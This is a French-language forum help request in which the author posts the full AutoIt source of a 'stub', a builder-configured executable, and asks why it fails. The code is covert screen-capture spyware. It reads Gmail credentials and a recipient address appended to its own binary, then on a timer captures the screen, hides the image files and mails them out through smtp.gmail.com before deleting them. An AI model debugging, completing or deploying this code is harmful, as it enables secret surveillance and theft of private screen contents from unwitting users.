je suis en train d’améliorer un de mes grand projet en AutoiT, avec plein de fonction , nouvelle aperçue graphique , ect... mais la je bloque sur ce qu'on apelle un stub.
Un stub pour faire court, c'est le code tout fait , sauf qui lui manque des informations (dans mon cas compte gmail) pour qu'il marche.
C'est la où j'ai un problème. Mon script doit faire une capture de l'écran, puis l'envoyer par mail , mais je ne sais pas pourquoi, ça ne marche pas. Je vous montre un aperçu du code :
► Afficher le texteCode du Stub
Code : Tout sélectionner
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_icon=..\chaine-chomper-icone-9045.ico
#AutoIt3Wrapper_Compression=4
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#include <File.au3>
#include <ScreenCapture.au3>
; Début du script - Ajouter votre code ci-dessous.
$Donnees = StringSplit(FileRead(@ScriptFullPath), "~\0/~", 1)
;on split notre fichier c'est à dire qu'on va diviser la chaîne en sous-chaînes en fonction de notre délimiteurs
$1texte = $Donnees[2] ;on prend la 2e valeur car [1] vaut "MZ" cf: mon UDF _CheckPEFormat
$2texte = $Donnees[3] ;je pense que la vous avez compris
$3texte = $Donnees[4]
$4texte = $Donnees[5]
$input = $4texte
AdlibRegister("recommencer", $input) ;la fonction sera automatiquement lancée tous les $input
recommencer()
Func recommencer()
Local $hBmp
$hBmp = _ScreenCapture_Capture(@ScriptDir & "\capture.bmp") ;prend une capture de l'ecran
If Not FileSetAttrib("*.bmp", "+HS") Then
MsgBox(4096,"Error", "Problem setting attributes.")
EndIf
$s_SmtpServer = "smtp.gmail.com"
$s_FromName = "capture screen"
$s_FromAddress = "capture@capt.fr"
$s_ToAddress = $3texte
$s_Subject = "capturer screen"
$as_Body = ""
$s_AttachFiles = $hBmp
$s_CcAddress = ""
$s_BccAddress = ""
$s_Username = $1texte
$s_Password = $2texte
$IPPort = 465
$ssl = 1
$s_Importance = "Normal"
_INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $s_AttachFiles, $s_CcAddress, $s_BccAddress, $s_Importance, $s_Username, $s_Password, $IPPort, $ssl)
FileDelete($hBmp)
EndFunc ;==>recommencer
Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Importance = "Normal", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
Local $objEmail = ObjCreate("CDO.Message")
$objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
$objEmail.To = $s_ToAddress
;~ Local $i_Error = 0
;~ Local $i_Error_desciption = ""
If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
$objEmail.Subject = $s_Subject
If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
$objEmail.HTMLBody = $as_Body
Else
$objEmail.Textbody = $as_Body & @CRLF
EndIf
If $s_AttachFiles <> "" Then
Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
For $x = 1 To $S_Files2Attach[0]
$S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
ConsoleWrite('@@ Debug(62) : $S_Files2Attach = ' & $S_Files2Attach[$x] & @LF & '>Error code: ' & @error & @LF) ;### Debug Console
If FileExists($S_Files2Attach[$x]) Then
$objEmail.AddAttachment($S_Files2Attach[$x])
Else
ConsoleWrite('!> File not found to attach: ' & $S_Files2Attach[$x] & @LF)
SetError(1)
Return 0
EndIf
Next
EndIf
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
If Number($IPPort) = 0 Then $IPPort = 25
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
;Authenticated SMTP
If $s_Username <> "" Then
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
EndIf
If $ssl Then
$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
EndIf
;Update settings
$objEmail.Configuration.Fields.Update
; Set Email Importance
$objEmail.Fields.Item("urn:schemas:mailheader:Importance") = "High"
$objEmail.Fields.Update
; Sent the Message
$objEmail.Send
$objEmail = ""
EndFunc ;==>_INetSmtpMailCom


